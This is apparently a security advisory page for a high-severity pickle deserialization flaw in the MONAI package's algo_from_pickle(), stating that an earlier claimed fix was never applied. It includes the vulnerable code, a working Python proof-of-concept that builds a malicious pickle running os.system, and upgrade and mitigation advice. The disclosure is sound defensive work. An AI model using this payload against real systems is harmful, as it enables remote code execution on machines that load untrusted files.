Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-qxq5-qhx6-94qw — monai

HIGH

GHSA-qxq5-qhx6-94qw is a high-severity (CVSS 7.8) Deserialization of Untrusted Data vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.

Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch

Also known asCVE-2026-100843PYSEC-2026-4018
Published
Aug 18, 2026
Updated
Oct 1, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-qxq5-qhx6-94qw.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs8th percentile — riskier than 8% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-qxq5-qhx6-94qw by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍monai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImonaiall versions1.6.0pip install --upgrade 'monai==1.6.0'

Affected Products

1 product · 1 configurations
Application
monaiproject-monai
< 1.6.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update monai to 1.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qxq5-qhx6-94qw is resolved across your whole dependency graph.

  3. Workarounds

    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.

Frequently Asked Questions

## Summary GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py` has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was never implemented. ## Vulnerable Code File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2) ```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() dat
O3 Security · Impact-Aware SCA

Is GHSA-qxq5-qhx6-94qw in your dependencies?

Find it across PyPI, including transitive dependencies.

GHSA-qxq5-qhx6-94qw: RCE — Fixed in 1.6.0 | O3 Security